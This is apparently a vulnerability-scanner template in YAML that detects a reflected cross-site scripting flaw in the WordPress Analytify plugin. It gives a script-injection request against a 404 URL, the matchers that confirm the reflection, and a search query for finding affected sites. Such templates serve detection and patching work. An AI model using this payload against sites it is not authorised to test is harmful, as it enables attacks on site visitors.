id: analytify-plugin-xss

info:
  name: Analytify <4.2.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Analytify 4.2.1 does not escape the current URL before outputting it back in a 404 page when the 404 tracking feature is enabled, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/b8415ed5-6fd0-42fe-9201-73686c1871c5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
    cpe: cpe:2.3:a:analytify:analytify_-_google_analytics_dashboard:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    google-query: inurl:/wp-content/plugins/wp-analytify
    product: analytify_-_google_analytics_dashboard
    vendor: analytify
  tags: wp,wordpress,analytify,wpscan,wp-plugin,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/aa404bb?a</script><script>alert(/XSS/)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'text/javascript">alert(/XSS/)</script>'
          - 'wp-analytify'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404
# digest: 490a00463044022020bb4713377d3ed6baeee0ff301df0fa32a6d9a6667f8a652ec3afa26ddc801602206c77bf7f51963d924c2e2953faa8e653c504abb51163a68aaf1618ec7cc12a42:922c64590222798bb761d5b6d8e72950